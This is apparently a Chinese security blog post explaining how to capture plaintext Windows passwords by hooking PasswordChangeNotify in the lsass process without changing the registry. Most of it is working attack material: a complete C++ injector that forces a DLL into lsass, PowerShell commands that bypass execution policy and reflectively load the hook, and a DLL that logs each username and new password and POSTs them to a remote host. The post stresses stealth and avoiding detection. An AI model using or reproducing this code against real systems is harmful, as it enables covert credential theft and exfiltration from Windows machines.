浅谈无需修改注册表抓取明文密码

阅读量    180664 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

在win2012以前的操作系统版本下,由于WDigest将明文储存到lsass进程中,可以抓取明文密码。在win2012版本以后需要通过修改注册表才能抓取到明文密码,否则只能是hash。修改注册表意味着有很铭感的操作,那么有哪些方法可以让我们无需修改注册表抓取到win2012以上版本的明文密码呢?本文就通过HookPasswordChangeNotify无需修改注册表抓取明文密码进行浅谈。

LSA

LSA全称Local Security Authority,是微软窗口操作系统的一个内部程序,负责运行Windows系统安全政策。它在用户登录时电脑单机或服务器时,验证用户身份,管理用户密码变更,并产生访问字符。它也会在窗口安全记录档中留下应有的记录。用于身份的验证。其中就包含有lsass.exe进程。

 

PasswordChangeNotify

PasswordChangeNotify是windows提供的一个API。

在修改密码时,用户输入新密码后,LSA 会调用 PasswordFileter 来检查该密码是否符合复杂性要求,如果密码符合要求,LSA 会调用 PasswordChangeNotify,在系统中同步密码。这个过程中会有明文形式的密码经行传参,只需要改变PasswordChangeNotify的执行流,获取到传入的参数,也就能够获取到明文密码。

msdn文档:https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nc-ntsecapi-psam_password_notification_routine

HOOK PasswordChangeNotify

具体实现思路如下:

  1. 为PasswordChangeNotify创建一个钩子,将函数执行流重定向到我们自己的PasswordChangeNotifyHook函数中。
  2. 在PasswordChangeNotifyHook函数中写入获取密码的代码,然后再取消钩子,重新将执行流还给PasswordChangeNotify。
  3. 将生成的dll注入到lssas进程中。使用HOOK PasswordChangeNotify无需重启系统或修改注册表,更加隐蔽且贴合实际。

远线程注入(突破session0)

已有前辈写了相关的Inline hook代码。

项目地址:https://github.com/clymb3r/Misc-Windows-Hacking

打开项目后,将MFC的使用设置为在静态库中使用MFC。

F7编译即可。

dll生成后就需要注入dll,注入的方式也很多了,可以起一个线程去远线程注入。由于是注入lsass进程,一般的远线程注入是无法注入成功的,需要突破session 0,使用更为底层的ZwCreateThreadEx。正好之前有写过一个注入的代码,这里直接贴上来。

#include <iostream>
#include <windows.h>
#include "tchar.h"
#include <TlHelp32.h>

using namespace std;

BOOL EnbalePrivileges(HANDLE hProcess, LPCWSTR pszPrivilegesName)
{
    HANDLE hToken = NULL;
    LUID luidValue = { 0 };
    TOKEN_PRIVILEGES tokenPrivileges = { 0 };
    BOOL bRet = FALSE;
    DWORD dwRet = 0;
    // 打开进程令牌并获取进程令牌句柄
    bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
    if (FALSE == bRet)
    {
        printf("[!] Open CurrentProcessToken Error,Error is:%d\n",GetLastError());
        return FALSE;
    }
    else
    {
        printf("[*] Open CurrentProcessToken Successfully!,TokenHandle is:%d\n", hToken);
    }
    // 获取本地系统的 pszPrivilegesName 特权的LUID值
    bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
    if (FALSE == bRet)
    {
        printf("[!] LookupPrivilegeValue Error,Error is:%d\n", GetLastError());
        return FALSE;
    }
    else
    {
        printf("[*] LookupPrivilegeValue Successfully!\n");
    }
    // 设置提升权限信息
    tokenPrivileges.PrivilegeCount = 1;
    tokenPrivileges.Privileges[0].Luid = luidValue;
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    // 提升进程令牌访问权限
    bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
    if (FALSE == bRet)
    {
        printf("[!] AdjustTokenPrivileges Error,Error is:%d\n", GetLastError());
        return FALSE;
    }
    else
    {
        // 根据错误码判断是否特权都设置成功
        dwRet = ::GetLastError();
        if (ERROR_SUCCESS == dwRet)
        {
            printf("[√] ALL_ASSIGNED!\n");
            return TRUE;
        }
        else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
        {
            printf("[!] ERROR:NOT_ALL_ASSIGNED,Error is %d\n", dwRet);
            return FALSE;
        }
    }
    return FALSE;
}
DWORD EnumModules(DWORD hPid, LPCSTR hMoudlePath)
{
    WCHAR szBuffer[MAX_PATH] = { 0 };
    mbstowcs(szBuffer, hMoudlePath, MAX_PATH);
    //通过pid列出所有的Modules
    HANDLE hModuleSnap = INVALID_HANDLE_VALUE;
    MODULEENTRY32    me32;

    //给进程所引用的模块信息设定一个快照
    hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, hPid);
    if (hModuleSnap == INVALID_HANDLE_VALUE)
    {
        printf("[!] Error:Enum modules failed to detect if there is an injected DLL module,error is %d\n" ,GetLastError());
    }
    me32.dwSize = sizeof(MODULEENTRY32);
    if (!Module32First(hModuleSnap, &me32))
    {
        printf("[!] Enum Error!\n");
        CloseHandle(hModuleSnap);
    }
    do
    {
        if(!memcmp(me32.szExePath, szBuffer,MAX_PATH))
            return 1;            
    } while (Module32Next(hModuleSnap, &me32));
    CloseHandle(hModuleSnap);
    return 0;
}
DWORD _InjectThread(DWORD _Pid, LPCSTR psDllPath)
{
    FILE* fp;
    fp = fopen(psDllPath, "r");
    if (!fp)
    {
        printf("[!] Error:DLL path not found\nPlease check that your path is correct or absolute\n");
        return FALSE;
    }
    fclose(fp);
    printf("****************************************************************************\n");
    HANDLE hprocess = NULL;
    HANDLE hThread = NULL;
    DWORD _SIZE = 0;
    LPVOID pAlloc = NULL;
    FARPROC pThreadFunction = NULL;
    DWORD ZwRet = 0;
    hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);
    if (hprocess == NULL)
    {
        printf("[!] OpenProcess Error,Error is:%d\n", GetLastError());
        return FALSE;
    }
    else
    {
        printf("[*] OpenProcess Successfully!\n");
    }
    _SIZE = strlen(psDllPath)+1;
    pAlloc = ::VirtualAllocEx(hprocess, NULL, _SIZE, MEM_COMMIT, PAGE_READWRITE);
    if (pAlloc == NULL)
    {
        printf("[!] VirtualAllocEx Error,Error is:%d\n", GetLastError());
        return FALSE;
    }
    else
    {
        printf("[*] VirtualAllocEx Successfully!\n");
    }
    BOOL x = ::WriteProcessMemory(hprocess, pAlloc, psDllPath, _SIZE, NULL);
    if (FALSE == x)
    {
        printf("[!] WriteMemory Error,Error is:%d\n", GetLastError());
        return FALSE;
    }
    else
    {
        printf("[*] WriteMemory Successfully!\n");
    }

    HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
    if (hNtdll == NULL)
    {
        printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
        return FALSE;
    }
    else
    {
        printf("[*] Load ntdll.dll Successfully!\n");
    }
    pThreadFunction = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
    if (pThreadFunction == NULL)
    {
        printf("[!] Get LoadLibraryA Address Error,Error is:%d\n", GetLastError());
        return FALSE;
    }
    else
    {
        printf("[*] Get LoadLibraryA Address Successfully! Address is %x\n", pThreadFunction);
    }
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown
        );
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown
        );
#endif 
    typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
    ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");

    if (ZwCreateThreadEx == NULL)
    {
        printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d\n", GetLastError());
        return FALSE;
    }
    else
    {
        printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x\n", ZwCreateThreadEx);
    }
    HANDLE hRemoteThread;
    ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess,
        (LPTHREAD_START_ROUTINE)pThreadFunction, pAlloc, 0, 0, 0, 0, NULL);

    if (hRemoteThread == NULL)
    {
        printf("[!] Creat RemoteThread Error,Error is:%d\n", GetLastError());
        CloseHandle(hprocess);
        return FALSE;
    }

    printf("[*] Please wait for a moment in the process of injection:\n");
    for(int m = 0;m<5;m++)
    {
        if (EnumModules(_Pid, psDllPath))
        {
            printf("[√] Creat RemoteThread Successfully! RemoteThread Id is %x\n", hRemoteThread);
            VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE);
            CloseHandle(hRemoteThread);
            CloseHandle(hprocess);
            FreeLibrary(hNtdll);
            return TRUE;
        }
        Sleep(2000);
    }
    printf("[!] DLL injection failed!\nNotice:Please check that your path is absolute or correct\n");

    VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE);
    CloseHandle(hRemoteThread);
    CloseHandle(hprocess);
    FreeLibrary(hNtdll);
    return FALSE;
}
int main(int argc, char* argv[])
{
    if (argc == 3)
    {
        EnbalePrivileges(GetCurrentProcess(), SE_DEBUG_NAME);
        DWORD dwPid;
        sscanf(argv[1],"%d", &dwPid);
        _InjectThread(dwPid, argv[2]);
        return 1;
    }
    else
    {
        printf("[!] You passed in the wrong number of parameters!Please pass in two parameters.\n");
        printf("[!] Notice:\n[!] The first parameter is the PID of the target process\n[!] The second parameter is the location of the injected DLL,Please enter the absolute path!");
        return 0;
    }
}

找到lsass进程的pid后直接开始注入。

可以通过procexp64.exe看下dll到底注入成功没有。这里要注意以管理员运行procexp64.exe,不然会无法看到lsass的组成模块,因为遍历高权限进程模块本身就需要权限。

然后就更改一下密码。

但是这里却失败了,C:\Windows\Temp路径下并没有password.txt文件,当要删除HookPasswordChange.dll文件时也无法删除,说明是真正注入进去了,有点疑惑。

后面通过反射加载的方式可以获取到明文密码,这里就有点不懂了,反射加载和直接加载就是加载方式的区别,最后dll都在进程空间里面,但是这里为何为失败确实没想明白。由于笔者学识尚浅,有懂得师傅请不吝赐教。

利用PS脚本

https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

注意这里该脚本是使用反射dll加载。

使用该脚本HookPasswordChange.dll注入内存

Set-ExecutionPolicy bypass
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

再次修改密码后可在C:\Windows\Temp目录下查看到passwords文件

这个文件位置是可以修改的,只需要修改HookPasswordChange.cpp文件,路径改一下就行。

由于是反射dll加载,没有通过LoadLibrary等API加载,procexp64.exe无法再找到相应的dll。并且是内存中直接展开,可以直接删除掉HookPasswordChange.dll文件。如果需要远程将密码返回到服务端,可以再写一个dll,用http协议经行传输

#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>

void writeToLog(const char* szString)
{
    FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
    if (NULL == pFile)
    {
        return;
    }
    fprintf(pFile, "%s\r\n", szString);
    fclose(pFile);
    return;
}



// Default DllMain implementation
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    OutputDebugString(L"DllMain");
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

BOOLEAN __stdcall InitializeChangeNotify(void)
{
    OutputDebugString(L"InitializeChangeNotify");
    writeToLog("InitializeChangeNotify()");
    return TRUE;
}

BOOLEAN __stdcall PasswordFilter(
    PUNICODE_STRING AccountName,
    PUNICODE_STRING FullName,
    PUNICODE_STRING Password,
    BOOLEAN SetOperation )
{
    OutputDebugString(L"PasswordFilter");
    return TRUE;
}

NTSTATUS __stdcall PasswordChangeNotify(
    PUNICODE_STRING UserName,
    ULONG RelativeId,
    PUNICODE_STRING NewPassword )
{
  FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
  //HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
    HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
    HINTERNET hSession = InternetConnect(hInternet,L"192.168.1.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);
    HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0);
    char* pBuf="SomeData";



    OutputDebugString(L"PasswordChangeNotify");
    if (NULL == pFile)
    {
        return;
    }
    fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer,NewPassword->Buffer);
  fclose(pFile);
    InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2);
    InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2);
    HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf));

    return 0;
}
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多